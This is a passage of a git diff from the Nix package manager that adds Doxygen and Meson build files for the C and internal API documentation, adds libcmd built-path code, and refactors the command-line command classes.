nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "First argument should be an integer."); + } +} + +void nix_plugin_entry() { + const char* args[] = {"n", NULL}; + PrimOp *p = nix_alloc_primop(NULL, increment, 1, "increment", args, "Example custom built-in function: increments an integer", NULL); + nix_register_primop(NULL, p); + nix_gc_decref(NULL, p); +} +``` + +**Usage:** + +```ShellSession +$ gcc plugin.c $(pkg-config nix-expr-c --libs --cflags) -shared -o plugin.so +$ nix --plugin-files ./plugin.so repl +nix-repl> builtins.increment 1 +2 +``` diff --git a/src/external-api-docs/doxygen.cfg.in b/src/external-api-docs/doxygen.cfg.in new file mode 100644 index 000000000..1be71d895 --- /dev/null +++ b/src/external-api-docs/doxygen.cfg.in @@ -0,0 +1,58 @@ +# Doxyfile 1.9.5 + +# The PROJECT_NAME tag is a single word (or a sequence of words surrounded by +# double-quotes, unless you are using Doxywizard) that should identify the +# project for which the documentation is generated. This name is used in the +# title of most generated pages and in a few other places. +# The default value is: My Project. + +PROJECT_NAME = "Nix" + +# The PROJECT_NUMBER tag can be used to enter a project or revision number. This +# could be handy for archiving the generated documentation or if some version +# control system is used. + +PROJECT_NUMBER = @PROJECT_NUMBER@ + +OUTPUT_DIRECTORY = @OUTPUT_DIRECTORY@ + +# Using the PROJECT_BRIEF tag one can provide an optional one line description +# for a project that appears at the top of each page and should give viewer a +# quick idea about the purpose of the project. Keep the description short. + +PROJECT_BRIEF = "Nix, the purely functional package manager: C API (experimental)" + +# If the GENERATE_LATEX tag is set to YES, doxygen will generate LaTeX output. +# The default value is: YES. + +GENERATE_LATEX = NO + +# The INPUT tag is used to specify the files and/or directories that contain +# documented source files. You may enter file names like myfile.cpp or +# directories like /usr/src/myproject. Separate the files or directories with +# spaces. See also FILE_PATTERNS and EXTENSION_MAPPING +# Note: If this tag is empty the current directory is searched. + +# FIXME Make this list more maintainable somehow. We could maybe generate this +# in the Makefile, but we would need to change how `.in` files are preprocessed +# so they can expand variables despite configure variables. + +INPUT = \ + @src@/src/libutil-c \ + @src@/src/libexpr-c \ + @src@/src/libstore-c \ + @src@/doc/external-api/README.md + +FILE_PATTERNS = nix_api_*.h *.md + +# The INCLUDE_PATH tag can be used to specify one or more directories that +# contain include files that are not input files but should be processed by the +# preprocessor. Note that the INCLUDE_PATH is not recursive, so the setting of +# RECURSIVE has no effect here. +# This tag requires that the tag SEARCH_INCLUDES is set to YES. + +EXCLUDE_PATTERNS = *_internal.h +GENERATE_TREEVIEW = YES +OPTIMIZE_OUTPUT_FOR_C = YES + +USE_MDFILE_AS_MAINPAGE = doc/external-api/README.md diff --git a/src/external-api-docs/meson.build b/src/external-api-docs/meson.build new file mode 100644 index 000000000..62474ffe4 --- /dev/null +++ b/src/external-api-docs/meson.build @@ -0,0 +1,31 @@ +project('nix-external-api-docs', + version : files('.version'), + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +fs = import('fs') + +doxygen_cfg = configure_file( + input : 'doxygen.cfg.in', + output : 'doxygen.cfg', + configuration : { + 'PROJECT_NUMBER': meson.project_version(), + 'OUTPUT_DIRECTORY' : meson.current_build_dir(), + 'src' : fs.parent(fs.parent(meson.project_source_root())), + }, +) + +doxygen = find_program('doxygen', native : true, required : true) + +custom_target( + 'external-api-docs', + command : [ doxygen , doxygen_cfg ], + input : [ + doxygen_cfg, + ], + output : 'html', + install : true, + install_dir : get_option('datadir') / 'doc/nix/external-api', + build_always_stale : true, +) diff --git a/src/external-api-docs/package.nix b/src/external-api-docs/package.nix new file mode 100644 index 000000000..743b3e9b7 --- /dev/null +++ b/src/external-api-docs/package.nix @@ -0,0 +1,59 @@ +{ lib +, mkMesonDerivation + +, meson +, ninja +, doxygen + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-external-api-docs"; + inherit version; + + workDir = ./.; + fileset = + let + cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "h"); + in + fileset.unions [ + ./.version + ../../.version + ./meson.build + ./doxygen.cfg.in + ./README.md + # Source is not compiled, but still must be available for Doxygen + # to gather comments. + (cpp ../libexpr-c) + (cpp ../libstore-c) + (cpp ../libutil-c) + ]; + + nativeBuildInputs = [ + meson + ninja + doxygen + ]; + + preConfigure = + '' + chmod u+w ./.version + echo ${finalAttrs.version} > ./.version + ''; + + postInstall = '' + mkdir -p ''${!outputDoc}/nix-support + echo "doc external-api-docs $out/share/doc/nix/external-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products + ''; + + meta = { + platforms = lib.platforms.all; + }; +}) diff --git a/src/internal-api-docs/.gitignore b/src/internal-api-docs/.gitignore new file mode 100644 index 000000000..dab28b6b0 --- /dev/null +++ b/src/internal-api-docs/.gitignore @@ -0,0 +1,3 @@ +/doxygen.cfg +/html +/latex diff --git a/src/internal-api-docs/.version b/src/internal-api-docs/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/internal-api-docs/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/internal-api-docs/doxygen.cfg.in b/src/internal-api-docs/doxygen.cfg.in new file mode 100644 index 000000000..f1ef75b38 --- /dev/null +++ b/src/internal-api-docs/doxygen.cfg.in @@ -0,0 +1,99 @@ +# Doxyfile 1.9.5 + +# The PROJECT_NAME tag is a single word (or a sequence of words surrounded by +# double-quotes, unless you are using Doxywizard) that should identify the +# project for which the documentation is generated. This name is used in the +# title of most generated pages and in a few other places. +# The default value is: My Project. + +PROJECT_NAME = "Nix" + +# The PROJECT_NUMBER tag can be used to enter a project or revision number. This +# could be handy for archiving the generated documentation or if some version +# control system is used. + +PROJECT_NUMBER = @PROJECT_NUMBER@ + +OUTPUT_DIRECTORY = @OUTPUT_DIRECTORY@ + +# Using the PROJECT_BRIEF tag one can provide an optional one line description +# for a project that appears at the top of each page and should give viewer a +# quick idea about the purpose of the project. Keep the description short. + +PROJECT_BRIEF = "Nix, the purely functional package manager; unstable internal interfaces" + +# If the GENERATE_LATEX tag is set to YES, doxygen will generate LaTeX output. +# The default value is: YES. + +GENERATE_LATEX = NO + +# The INPUT tag is used to specify the files and/or directories that contain +# documented source files. You may enter file names like myfile.cpp or +# directories like /usr/src/myproject. Separate the files or directories with +# spaces. See also FILE_PATTERNS and EXTENSION_MAPPING +# Note: If this tag is empty the current directory is searched. + +# FIXME Make this list more maintainable somehow. We could maybe generate this +# in the Makefile, but we would need to change how `.in` files are preprocessed +# so they can expand variables despite configure variables. + +INPUT = \ + @src@/libcmd \ + @src@/libexpr \ + @src@/libexpr/flake \ + @src@/nix-expr-tests \ + @src@/nix-expr-tests/value \ + @src@/nix-expr-test-support/test \ + @src@/nix-expr-test-support/test/value \ + @src@/libexpr/value \ + @src@/libfetchers \ + @src@/libmain \ + @src@/libstore \ + @src@/libstore/build \ + @src@/libstore/builtins \ + @src@/nix-store-tests \ + @src@/nix-store-test-support/test \ + @src@/libutil \ + @src@/nix-util-tests \ + @src@/nix-util-test-support/test \ + @src@/nix \ + @src@/nix-env \ + @src@/nix-store + +# If the MACRO_EXPANSION tag is set to YES, doxygen will expand all macro names +# in the source code. If set to NO, only conditional compilation will be +# performed. Macro expansion can be done in a controlled way by setting +# EXPAND_ONLY_PREDEF to YES. +# The default value is: NO. +# This tag requires that the tag ENABLE_PREPROCESSING is set to YES. + +MACRO_EXPANSION = YES + +# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES then +# the macro expansion is limited to the macros specified with the PREDEFINED and +# EXPAND_AS_DEFINED tags. +# The default value is: NO. +# This tag requires that the tag ENABLE_PREPROCESSING is set to YES. + +EXPAND_ONLY_PREDEF = YES + +# The INCLUDE_PATH tag can be used to specify one or more directories that +# contain include files that are not input files but should be processed by the +# preprocessor. Note that the INCLUDE_PATH is not recursive, so the setting of +# RECURSIVE has no effect here. +# This tag requires that the tag SEARCH_INCLUDES is set to YES. + +INCLUDE_PATH = + +# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then this +# tag can be used to specify a list of macro names that should be expanded. The +# macro definition that is found in the sources will be used. Use the PREDEFINED +# tag if you want to use a different macro definition that overrules the +# definition found in the source code. +# This tag requires that the tag ENABLE_PREPROCESSING is set to YES. + +EXPAND_AS_DEFINED = \ + DECLARE_COMMON_SERIALISER \ + DECLARE_WORKER_SERIALISER \ + DECLARE_SERVE_SERIALISER \ + LENGTH_PREFIXED_PROTO_HELPER diff --git a/src/internal-api-docs/meson.build b/src/internal-api-docs/meson.build new file mode 100644 index 000000000..54eb7e5dd --- /dev/null +++ b/src/internal-api-docs/meson.build @@ -0,0 +1,31 @@ +project('nix-internal-api-docs', + version : files('.version'), + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +fs = import('fs') + +doxygen_cfg = configure_file( + input : 'doxygen.cfg.in', + output : 'doxygen.cfg', + configuration : { + 'PROJECT_NUMBER': meson.project_version(), + 'OUTPUT_DIRECTORY' : meson.current_build_dir(), + 'src' : fs.parent(fs.parent(meson.project_source_root())) / 'src', + }, +) + +doxygen = find_program('doxygen', native : true, required : true) + +custom_target( + 'internal-api-docs', + command : [ doxygen , doxygen_cfg ], + input : [ + doxygen_cfg, + ], + output : 'html', + install : true, + install_dir : get_option('datadir') / 'doc/nix/internal-api', + build_always_stale : true, +) diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix new file mode 100644 index 000000000..07ca6d4d9 --- /dev/null +++ b/src/internal-api-docs/package.nix @@ -0,0 +1,54 @@ +{ lib +, mkMesonDerivation + +, meson +, ninja +, doxygen + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-internal-api-docs"; + inherit version; + + workDir = ./.; + fileset = let + cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "hh"); + in fileset.unions [ + ./.version + ../../.version + ./meson.build + ./doxygen.cfg.in + # Source is not compiled, but still must be available for Doxygen + # to gather comments. + (cpp ../.) + ]; + + nativeBuildInputs = [ + meson + ninja + doxygen + ]; + + preConfigure = + '' + chmod u+w ./.version + echo ${finalAttrs.version} > ./.version + ''; + + postInstall = '' + mkdir -p ''${!outputDoc}/nix-support + echo "doc internal-api-docs $out/share/doc/nix/internal-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products + ''; + + meta = { + platforms = lib.platforms.all; + }; +}) diff --git a/src/libcmd/.version b/src/libcmd/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libcmd/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libcmd/build-utils-meson b/src/libcmd/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libcmd/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libcmd/built-path.cc b/src/libcmd/built-path.cc new file mode 100644 index 000000000..905e70f32 --- /dev/null +++ b/src/libcmd/built-path.cc @@ -0,0 +1,144 @@ +#include "built-path.hh" +#include "derivations.hh" +#include "store-api.hh" +#include "comparator.hh" + +#include + +#include + +namespace nix { + +// Custom implementation to avoid `ref` ptr equality +GENERATE_CMP_EXT( + , + std::strong_ordering, + SingleBuiltPathBuilt, + *me->drvPath, + me->output); + +// Custom implementation to avoid `ref` ptr equality + +// TODO no `GENERATE_CMP_EXT` because no `std::set::operator<=>` on +// Darwin, per header. +GENERATE_EQUAL( + , + BuiltPathBuilt ::, + BuiltPathBuilt, + *me->drvPath, + me->outputs); + +StorePath SingleBuiltPath::outPath() const +{ + return std::visit( + overloaded{ + [](const SingleBuiltPath::Opaque & p) { return p.path; }, + [](const SingleBuiltPath::Built & b) { return b.output.second; }, + }, raw() + ); +} + +StorePathSet BuiltPath::outPaths() const +{ + return std::visit( + overloaded{ + [](const BuiltPath::Opaque & p) { return StorePathSet{p.path}; }, + [](const BuiltPath::Built & b) { + StorePathSet res; + for (auto & [_, path] : b.outputs) + res.insert(path); + return res; + }, + }, raw() + ); +} + +SingleDerivedPath::Built SingleBuiltPath::Built::discardOutputPath() const +{ + return SingleDerivedPath::Built { + .drvPath = make_ref(drvPath->discardOutputPath()), + .output = output.first, + }; +} + +SingleDerivedPath SingleBuiltPath::discardOutputPath() const +{ + return std::visit( + overloaded{ + [](const SingleBuiltPath::Opaque & p) -> SingleDerivedPath { + return p; + }, + [](const SingleBuiltPath::Built & b) -> SingleDerivedPath { + return b.discardOutputPath(); + }, + }, raw() + ); +} + +nlohmann::json BuiltPath::Built::toJSON(const StoreDirConfig & store) const +{ + nlohmann::json res; + res["drvPath"] = drvPath->toJSON(store); + for (const auto & [outputName, outputPath] : outputs) { + res["outputs"][outputName] = store.printStorePath(outputPath); + } + return res; +} + +nlohmann::json SingleBuiltPath::Built::toJSON(const StoreDirConfig & store) const +{ + nlohmann::json res; + res["drvPath"] = drvPath->toJSON(store); + auto & [outputName, outputPath] = output; + res["output"] = outputName; + res["outputPath"] = store.printStorePath(outputPath); + return res; +} + +nlohmann::json SingleBuiltPath::toJSON(const StoreDirConfig & store) const +{ + return std::visit([&](const auto & buildable) { + return buildable.toJSON(store); + }, raw()); +} + +nlohmann::json BuiltPath::toJSON(const StoreDirConfig & store) const +{ + return std::visit([&](const auto & buildable) { + return buildable.toJSON(store); + }, raw()); +} + +RealisedPath::Set BuiltPath::toRealisedPaths(Store & store) const +{ + RealisedPath::Set res; + std::visit( + overloaded{ + [&](const BuiltPath::Opaque & p) { res.insert(p.path); }, + [&](const BuiltPath::Built & p) { + auto drvHashes = + staticOutputHashes(store, store.readDerivation(p.drvPath->outPath())); + for (auto& [outputName, outputPath] : p.outputs) { + if (experimentalFeatureSettings.isEnabled( + Xp::CaDerivations)) { + auto drvOutput = get(drvHashes, outputName); + if (!drvOutput) + throw Error( + "the derivation '%s' has unrealised output '%s' (derived-path.cc/toRealisedPaths)", + store.printStorePath(p.drvPath->outPath()), outputName); + auto thisRealisation = store.queryRealisation( + DrvOutput{*drvOutput, outputName}); + assert(thisRealisation); // We’ve built it, so we must + // have the realisation + res.insert(*thisRealisation); + } else { + res.insert(outputPath); + } + } + }, + }, + raw()); + return res; +} + +} diff --git a/src/libcmd/built-path.hh b/src/libcmd/built-path.hh new file mode 100644 index 000000000..dc78d3e59 --- /dev/null +++ b/src/libcmd/built-path.hh @@ -0,0 +1,107 @@ +#pragma once +///@file + +#include "derived-path.hh" +#include "realisation.hh" + +namespace nix { + +struct SingleBuiltPath; + +struct SingleBuiltPathBuilt { + ref drvPath; + std::pair output; + + SingleDerivedPathBuilt discardOutputPath() const; + + std::string to_string(const StoreDirConfig & store) const; + static SingleBuiltPathBuilt parse(const StoreDirConfig & store, std::string_view, std::string_view); + nlohmann::json toJSON(const StoreDirConfig & store) const; + + bool operator ==(const SingleBuiltPathBuilt &) const noexcept; + std::strong_ordering operator <=>(const SingleBuiltPathBuilt &) const noexcept; +}; + +using _SingleBuiltPathRaw = std::variant< + DerivedPathOpaque, + SingleBuiltPathBuilt +>; + +struct SingleBuiltPath : _SingleBuiltPathRaw { + using Raw = _SingleBuiltPathRaw; + using Raw::Raw; + + using Opaque = DerivedPathOpaque; + using Built = SingleBuiltPathBuilt; + + bool operator == (const SingleBuiltPath &) const = default; + auto operator <=> (const SingleBuiltPath &) const = default; + + inline const Raw & raw() const { + return static_cast(*this); + } + + StorePath outPath() const; + + SingleDerivedPath discardOutputPath() const; + + static SingleBuiltPath parse(const StoreDirConfig & store, std::string_view); + nlohmann::json toJSON(const StoreDirConfig & store) const; +}; + +static inline ref staticDrv(StorePath drvPath) +{ + return make_ref(SingleBuiltPath::Opaque { drvPath }); +} + +/** + * A built derived path with hints in the form of optional concrete output paths. + * + * See 'BuiltPath' for more an explanation. + */ +struct BuiltPathBuilt { + ref drvPath; + std::map outputs; + + bool operator == (const BuiltPathBuilt &) const noexcept; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //std::strong_ordering operator <=> (const BuiltPathBuilt &) const noexcept; + + std::string to_string(const StoreDirConfig & store) const; + static BuiltPathBuilt parse(const StoreDirConfig & store, std::string_view, std::string_view); + nlohmann::json toJSON(const StoreDirConfig & store) const; +}; + +using _BuiltPathRaw = std::variant< + DerivedPath::Opaque, + BuiltPathBuilt +>; + +/** + * A built path. Similar to a DerivedPath, but enriched with the corresponding + * output path(s). + */ +struct BuiltPath : _BuiltPathRaw { + using Raw = _BuiltPathRaw; + using Raw::Raw; + + using Opaque = DerivedPathOpaque; + using Built = BuiltPathBuilt; + + bool operator == (const BuiltPath &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=> (const BuiltPath &) const = default; + + inline const Raw & raw() const { + return static_cast(*this); + } + + StorePathSet outPaths() const; + RealisedPath::Set toRealisedPaths(Store & store) const; + + nlohmann::json toJSON(const StoreDirConfig & store) const; +}; + +typedef std::vector BuiltPaths; + +} diff --git a/src/libcmd/command-installable-value.cc b/src/libcmd/command-installable-value.cc new file mode 100644 index 000000000..7e0c15eb8 --- /dev/null +++ b/src/libcmd/command-installable-value.cc @@ -0,0 +1,11 @@ +#include "command-installable-value.hh" + +namespace nix { + +void InstallableValueCommand::run(ref store, ref installable) +{ + auto installableValue = InstallableValue::require(installable); + run(store, installableValue); +} + +} diff --git a/src/libcmd/command-installable-value.hh b/src/libcmd/command-installable-value.hh new file mode 100644 index 000000000..7880d4119 --- /dev/null +++ b/src/libcmd/command-installable-value.hh @@ -0,0 +1,23 @@ +#pragma once +///@file + +#include "installable-value.hh" +#include "command.hh" + +namespace nix { + +/** + * An InstallableCommand where the single positional argument must be an + * InstallableValue in particular. + */ +struct InstallableValueCommand : InstallableCommand +{ + /** + * Entry point to this command + */ + virtual void run(ref store, ref installable) = 0; + + void run(ref store, ref installable) override; +}; + +} diff --git a/src/libcmd/command.cc b/src/libcmd/command.cc index 0740ea960..67fef1909 100644 --- a/src/libcmd/command.cc +++ b/src/libcmd/command.cc @@ -1,11 +1,14 @@ +#include + #include "command.hh" +#include "markdown.hh" #include "store-api.hh" #include "local-fs-store.hh" #include "derivations.hh" #include "nixexpr.hh" #include "profiles.hh" - -#include +#include "repl.hh" +#include "strings.hh" extern char * * environ __attribute__((weak)); @@ -33,6 +36,19 @@ nlohmann::json NixMultiCommand::toJSON() return MultiCommand::toJSON(); } +void NixMultiCommand::run() +{ + if (!command) { + std::set subCommandTextLines; + for (auto & [name, _] : commands) + subCommandTextLines.insert(fmt("- `%s`", name)); + std::string markdownError = fmt("`nix %s` requires a sub-command. Available sub-commands:\n\n%s\n", + commandName, concatStringsSep("\n", subCommandTextLines)); + throw UsageError(renderMarkdownToTerminal(markdownError)); + } + command->second->run(); +} + StoreCommand::StoreCommand() { } @@ -97,7 +113,7 @@ EvalCommand::EvalCommand() EvalCommand::~EvalCommand() { if (evalState) - evalState->printStats(); + evalState->maybePrintStats(); } ref EvalCommand::getEvalStore() @@ -112,21 +128,33 @@ ref EvalCommand::getEvalState() if (!evalState) { evalState = #if HAVE_BOEHMGC - std::allocate_shared(traceable_allocator(), - searchPath, getEvalStore(), getStore()) + std::allocate_shared( + traceable_allocator(), #else std::make_shared( - searchPath, getEvalStore(), getStore()) #endif + lookupPath, getEvalStore(), fetchSettings, evalSettings, getStore()) ; + evalState->repair = repair; + if (startReplOnEvalErrors) { - evalState->debugRepl = &runRepl; + evalState->debugRepl = &AbstractNixRepl::runSimple; }; } return ref(evalState); } +MixOperateOnOptions::MixOperateOnOptions() +{ + addFlag({ + .longName = "derivation", + .description = "Operate on the [store derivation](@docroot@/glossary.md#gloss-store-derivation) rather than its outputs.", + .category = installablesCategory, + .handler = {&operateOn, OperateOn::Derivation}, + }); +} + BuiltPathsCommand::BuiltPathsCommand(bool recursive) : recursive(recursive) { @@ -154,7 +182,7 @@ BuiltPathsCommand::BuiltPathsCommand(bool recursive) }); } -void BuiltPathsCommand::run(ref store) +void BuiltPathsCommand::run(ref store, Installables && installables) { BuiltPaths paths; if (all) { @@ -162,7 +190,7 @@ void BuiltPathsCommand::run(ref store) throw UsageError("'--all' does not expect arguments"); // XXX: Only uses opaque paths, ignores all the realisations for (auto & p : store->queryAllValidPaths()) - paths.push_back(BuiltPath::Opaque{p}); + paths.emplace_back(BuiltPath::Opaque{p}); } else { paths = Installable::toBuiltPaths(getEvalStore(), store, realiseMode, operateOn, installables); if (recursive) { @@ -175,7 +203,7 @@ void BuiltPathsCommand::run(ref store) } store->computeFSClosure(pathsRoots, pathsClosure); for (auto & path : pathsClosure) - paths.push_back(BuiltPath::Opaque{path}); + paths.emplace_back(BuiltPath::Opaque{path}); } } @@ -200,7 +228,7 @@ void StorePathsCommand::run(ref store, BuiltPaths && paths) run(store, std::move(sorted)); } -void StorePathCommand::run(ref store, std::vector && storePaths) +void StorePathCommand::run(ref store, StorePaths && storePaths) { if (storePaths.size() != 1) throw UsageError("this command requires exactly one store path"); @@ -208,20 +236,6 @@ void StorePathCommand::run(ref store, std::vector && storePath run(store, *storePaths.begin()); } -Strings editorFor(const Path & file, uint32_t line) -{ - auto editor = getEnv("EDITOR").value_or("cat"); - auto args = tokenizeString(editor); - if (line > 0 && ( - editor.find("emacs") != std::string::npos || - editor.find("nano") != std::string::npos || - editor.find("vim") != std::string::npos || - editor.find("kak") != std::string::npos)) - args.push_back(fmt("+%d", line)); - args.push_back(file); - return args; -} - MixProfile::MixProfile() { addFlag({ @@ -240,16 +254,14 @@ void MixProfile::updateProfile(const StorePath & storePath) if (!store) throw Error("'--profile' is not supported for this Nix store"); auto profile2 = absPath(*profile); switchLink(profile2, - createGeneration( - ref(store), - profile2, storePath)); + createGeneration(*store, profile2, storePath)); } void MixProfile::updateProfile(const BuiltPaths & buildables) { if (!profile) return; - std::vector result; + StorePaths result; for (auto & buildable : buildables) { std::visit(overloaded { diff --git a/src/libcmd/command.hh b/src/libcmd/command.hh index 3b4b40981..4a72627ed 100644 --- a/src/libcmd/command.hh +++ b/src/libcmd/command.hh @@ -1,6 +1,7 @@ #pragma once +///@file -#include "installables.hh" +#include "installable-value.hh" #include "args.hh" #include "common-eval-args.hh" #include "path.hh" @@ -18,32 +19,47 @@ class EvalState; struct Pos; class Store; +static constexpr Command::Category catHelp = -1; static constexpr Command::Category catSecondary = 100; static constexpr Command::Category catUtility = 101; static constexpr Command::Category catNixInstallation = 102; -static constexpr auto installablesCategory = "Options that change the interpretation of installables"; +static constexpr auto installablesCategory = "Options that change the interpretation of [installables](@docroot@/command-ref/new-cli/nix.md#installables)"; -struct NixMultiCommand : virtual MultiCommand, virtual Command +struct NixMultiCommand : MultiCommand, virtual Command { nlohmann::json toJSON() override; + + using MultiCommand::MultiCommand; + + virtual void run() override; }; -/* A command that requires a Nix store. */ +// For the overloaded run methods +#pragma GCC diagnostic ignored "-Woverloaded-virtual" + +/** + * A command that requires a \ref Store "Nix store". + */ struct StoreCommand : virtual Command { StoreCommand(); void run() override; ref getStore(); virtual ref createStore(); + /** + * Main entry point, with a `Store` provided + */ virtual void run(ref) = 0; private: std::shared_ptr _store; }; -/* A command that copies something between `--from` and `--to` - stores. */ +/** + * A command that copies something between `--from` and `--to` \ref + * Store stores. + */ struct CopyCommand : virtual StoreCommand { std::string srcUri, dstUri; @@ -55,6 +71,9 @@ struct CopyCommand : virtual StoreCommand ref getDstStore(); }; +/** + * A command that needs to evaluate Nix language expressions. + */ struct EvalCommand : virtual StoreCommand, MixEvalArgs { bool startReplOnEvalErrors = false; @@ -74,87 +93,137 @@ private: std::shared_ptr evalState; }; +/** + * A mixin class for commands that process flakes, adding a few standard + * flake-related options/flags. + */ struct MixFlakeOptions : virtual Args, EvalCommand { flake::LockFlags lockFlags; - std::optional needsFlakeInputCompletion = {}; - MixFlakeOptions(); - virtual std::vector getFlakesForCompletion() + /** + * The completion for some of these flags depends on the flake(s) in + * question. + * + * This method should be implemented to gather all flakerefs the + * command is operating with (presumably specified via some other + * arguments) so that the completions for these flags can use them. + */ + virtual std::vector getFlakeRefsForCompletion() { return {}; } - - void completeFlakeInput(std::string_view prefix); - - void completionHook() override; }; struct SourceExprCommand : virtual Args, MixFlakeOptions { std::optional file; std::optional expr; - bool readOnlyMode = false; - // FIXME: move this; not all commands (e.g. 'nix run') use it. - OperateOn operateOn = OperateOn::Output; + SourceExprCommand(); - SourceExprCommand(bool supportReadOnlyMode = false); - - std::vector> parseInstallables( + Installables parseInstallables( ref store, std::vector ss); - std::shared_ptr parseInstallable( + ref parseInstallable( ref store, const std::string & installable); virtual Strings getDefaultFlakeAttrPaths(); virtual Strings getDefaultFlakeAttrPathPrefixes(); - void completeInstallable(std::string_view prefix); + /** + * Complete an installable from the given prefix. + */ + void completeInstallable(AddCompletions & completions, std::string_view prefix); + + /** + * Convenience wrapper around the underlying function to make setting the + * callback easier. + */ + CompleterClosure getCompleteInstallable(); }; -/* A command that operates on a list of "installables", which can be - store paths, attribute paths, Nix expressions, etc. */ -struct InstallablesCommand : virtual Args, SourceExprCommand +/** + * A mixin class for commands that need a read-only flag. + * + * What exactly is "read-only" is unspecified, but it will usually be + * the \ref Store "Nix store". + */ +struct MixReadOnlyOption : virtual Args { - std::vector> installables; - - InstallablesCommand(); - - void prepare() override; - Installables load(); - - virtual bool useDefaultInstallables() { return true; } - - std::vector getFlakesForCompletion() override; - -protected: - - std::vector _installables; + MixReadOnlyOption(); }; -/* A command that operates on exactly one "installable" */ +/** + * Like InstallablesCommand but the installables are not loaded. + * + * This is needed by `CmdRepl` which wants to load (and reload) the + * installables itself. + */ +struct RawInstallablesCommand : virtual Args, SourceExprCommand +{ + RawInstallablesCommand(); + + virtual void run(ref store, std::vector && rawInstallables) = 0; + + void run(ref store) override; + + // FIXME make const after `CmdRepl`'s override is fixed up + virtual void applyDefaultInstallables(std::vector & rawInstallables); + + bool readFromStdIn = false; + + std::vector getFlakeRefsForCompletion() override; + +private: + + std::vector rawInstallables; +}; + +/** + * A command that operates on a list of "installables", which can be + * store paths, attribute paths, Nix expressions, etc. + */ +struct InstallablesCommand : RawInstallablesCommand +{ + virtual void run(ref store, Installables && installables) = 0; + + void run(ref store, std::vector && rawInstallables) override; +}; + +/** + * A command that operates on exactly one "installable". + */ struct InstallableCommand : virtual Args, SourceExprCommand { - std::shared_ptr installable; + InstallableCommand(); - InstallableCommand(bool supportReadOnlyMode = false); + virtual void run(ref store, ref installable) = 0; - void prepare() override; + void run(ref store) override; - std::vector getFlakesForCompletion() override - { - return {_installable}; - } + std::vector getFlakeRefsForCompletion() override; private: std::string _installable{"."}; }; -/* A command that operates on zero or more store paths. */ -struct BuiltPathsCommand : public InstallablesCommand +struct MixOperateOnOptions : virtual Args +{ + OperateOn operateOn = OperateOn::Output; + + MixOperateOnOptions(); +}; + +/** + * A command that operates on zero or more extant store paths. + * + * If the argument the user passes is a some sort of recipe for a path + * not yet built, it must be built first. + */ +struct BuiltPathsCommand : InstallablesCommand, virtual MixOperateOnOptions { private: @@ -169,37 +238,35 @@ public: BuiltPathsCommand(bool recursive = false); - using StoreCommand::run; - virtual void run(ref store, BuiltPaths && paths) = 0; - void run(ref store) override; + void run(ref store, Installables && installables) override; - bool useDefaultInstallables() override { return !all; } + void applyDefaultInstallables(std::vector & rawInstallables) override; }; struct StorePathsCommand : public BuiltPathsCommand { StorePathsCommand(bool recursive = false); - using BuiltPathsCommand::run; - - virtual void run(ref store, std::vector && storePaths) = 0; + virtual void run(ref store, StorePaths && storePaths) = 0; void run(ref store, BuiltPaths && paths) override; }; -/* A command that operates on exactly one store path. */ +/** + * A command that operates on exactly one store path. + */ struct StorePathCommand : public StorePathsCommand { - using StorePathsCommand::run; - virtual void run(ref store, const StorePath & storePath) = 0; - void run(ref store, std::vector && storePaths) override; + void run(ref store, StorePaths && storePaths) override; }; -/* A helper class for registering commands globally. */ +/** + * A helper class for registering \ref Command commands globally. + */ struct RegisterCommand { typedef std::map, std::function()>> Commands; @@ -227,10 +294,6 @@ static RegisterCommand registerCommand2(std::vector && name) return RegisterCommand(std::move(name), [](){ return make_ref(); }); } -/* Helper function to generate args that invoke $EDITOR on - filename:lineno. */ -Strings editorFor(const Path & file, uint32_t line); - struct MixProfile : virtual StoreCommand { std::optional profile; @@ -259,13 +322,24 @@ struct MixEnvironment : virtual Args { MixEnvironment(); - /* Modify global environ based on ignoreEnvironment, keep, and unset. It's expected that exec will be called before this class goes out of scope, otherwise environ will become invalid. */ + /*** + * Modify global environ based on `ignoreEnvironment`, `keep`, and + * `unset`. It's expected that exec will be called before this class + * goes out of scope, otherwise `environ` will become invalid. + */ void setEnviron(); }; -void completeFlakeRef(ref store, std::string_view prefix); +void completeFlakeInputPath( + AddCompletions & completions, + ref evalState, + const std::vector & flakeRefs, + std::string_view prefix); + +void completeFlakeRef(AddCompletions & completions, ref store, std::string_view prefix); void completeFlakeRefWithFragment( + AddCompletions & completions, ref evalState, flake::LockFlags lockFlags, Strings attrPathPrefixes, @@ -280,8 +354,4 @@ void printClosureDiff( const StorePath & afterPath, std::string_view indent); - -void runRepl( - ref evalState, - const ValMap & extraEnv); } diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 0e321e5e4..ae9994a05 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -1,16 +1,57 @@ +#include "fetch-settings.hh" +#include "eval-settings.hh" #include "common-eval-args.hh" #include "shared.hh" +#include "config-global.hh" #include "filetransfer.hh" -#include "util.hh" #include "eval.hh" #include "fetchers.hh" #include "registry.hh" #include "flake/flakeref.hh" +#include "flake/settings.hh" #include "store-api.hh" #include "command.hh" +#include "tarball.hh" +#include "fetch-to-store.hh" +#include "compatibility-settings.hh" +#include "eval-settings.hh" namespace nix 